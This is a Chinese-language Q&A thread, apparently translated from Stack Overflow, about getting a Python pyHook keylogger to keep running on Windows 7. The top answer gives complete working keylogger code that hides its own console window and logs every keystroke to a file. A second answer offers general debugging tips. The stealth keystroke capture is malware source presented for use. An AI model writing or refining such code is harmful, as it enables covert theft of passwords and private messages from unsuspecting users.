我正在研究一个简单的键盘记录器。我遇到了一个问题,当我尝试将它作为.pyw运行时,程序会在它记录任何内容之前关闭。我相信它需要循环,我该怎么做呢?
import pythoncom, pyHook, sys, logging, time
LOG_FILENAME = 'C:\KeyLog\log.out'
def OnKeyboardEvent(event):
keytime = time.strftime('%I:%M %S %p %A %B %d, %Y | ')
logging.basicConfig(filename=LOG_FILENAME,
level=logging.DEBUG,
format='%(message)s')
logging.log(10, keytime + "Key: '" + chr(event.Ascii) + "'")
if chr(event.Ascii) == "q":
sys.exit(0)
return True
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
我正在使用Windows 7,BTW。
答案 0 :(得分:5)
这是我的简单示例(您的代码错误): (你需要pyHook和win32api)
#!/usr/bin/python
import pyHook
import pythoncom
import win32gui
import win32console
log_file = "log_file.txt" #name of log file
window = win32console.GetConsoleWindow() #go to script window
win32gui.ShowWindow(window,0) #hide window
def pressed_chars(event): #on key pressed function
if event.Ascii:
f = open(log_file,"a") # (open log_file in append mode)
char = chr(event.Ascii) # (insert real char in variable)
if char == "q": # (if char is q)
f.close() # (close and save log file)
exit() # (exit program)
if event.Ascii == 13: # (if char is "return")
f.write("\n") # (new line)
f.write(char) # (write char)
proc = pyHook.HookManager() #open pyHook
proc.KeyDown = pressed_chars #set pressed_chars function on KeyDown event
proc.HookKeyboard() #start the function
pythoncom.PumpMessages() #get input
答案 1 :(得分:1)
通过python空闲程序打开程序(使用IDLE右键单击编辑)转到运行并单击运行模块(F5),然后您可以看到错误。
提示进行调试:查看错误所在的行(其他编辑器,如atom.io,我用于所有编码都有行号),所以你知道在哪里看。
DOUBLE HINT:如果你想使用外部编辑器但想要获取错误消息打开cmd并转到你编程所在的目录(例如cd project-folder\second-folder
)并执行python <script name>
所以例如python keylogger.py
编辑:
python script.py
可能无效,因为python不在路径变量中This网站解释了如何将程序添加到路径中